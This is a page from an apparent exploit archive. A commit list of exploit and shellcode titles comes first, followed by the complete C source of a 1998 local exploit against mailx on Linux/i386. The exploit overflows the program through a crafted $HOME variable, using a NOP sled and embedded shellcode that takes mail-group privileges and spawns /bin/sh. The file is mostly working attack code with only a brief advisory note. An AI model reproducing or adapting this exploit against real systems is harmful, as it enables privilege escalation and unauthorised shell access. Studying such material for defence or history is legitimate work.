880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
75 lines
No EOL
2.2 KiB
C
75 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/393/info
|
|
|
|
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.
|
|
|
|
/*
|
|
* mailxploit.c (Linux/i386)
|
|
* Sat Jun 20 00:47:59 CEST 1998
|
|
* Alvaro Martinez Echevarria <elguru@lander.es>
|
|
* Exploit a buffer overrun in mailx using the environment variable
|
|
* $HOME, to acquire "mail" group privileges (assuming that mailx
|
|
* is installed setgid mail).
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
|
|
/*
|
|
* The location of mailx.
|
|
*/
|
|
#define MAILX "/usr/bin/mail"
|
|
/*
|
|
* The gid for group mail (represented in a char, in hexadecimal).
|
|
*/
|
|
#define GID "\x08"
|
|
|
|
#define DEFAULT_OFFSET 2000
|
|
#define DEFAULT_BUFFER_SIZE 1124
|
|
#define NOP 0x90
|
|
|
|
char shellcode[] =
|
|
/* seteuid(GID); setreuid(GID,GID); */
|
|
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
|
|
"\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
|
|
/* generic shell code by Aleph One */
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
|
|
|
|
unsigned long
|
|
get_sp(void) {
|
|
__asm__("movl %esp,%eax");
|
|
}
|
|
|
|
int
|
|
main(int argc, char *argv[]) {
|
|
char *buff, *ptr;
|
|
long *addr_ptr, addr;
|
|
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
|
|
int i;
|
|
|
|
addr = get_sp() - offset;
|
|
if ((buff=(char *)malloc(bsize))==NULL) {
|
|
fprintf(stderr,"error in malloc()\n");
|
|
exit(1);
|
|
}
|
|
|
|
ptr = buff;
|
|
addr_ptr = (long *) ptr;
|
|
for (i = 0; i < bsize; i+=4)
|
|
*(addr_ptr++) = addr;
|
|
for (i = 0; i < bsize/2; i++)
|
|
buff[i] = NOP;
|
|
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
|
|
for (i = 0; i < strlen(shellcode); i++)
|
|
*(ptr++) = shellcode[i];
|
|
buff[bsize - 1] = '\0';
|
|
|
|
setenv("HOME",buff,1);
|
|
execl(MAILX,MAILX,"-n","-f","~/patata",NULL);
|
|
|
|
exit(0);
|
|
|
|
} |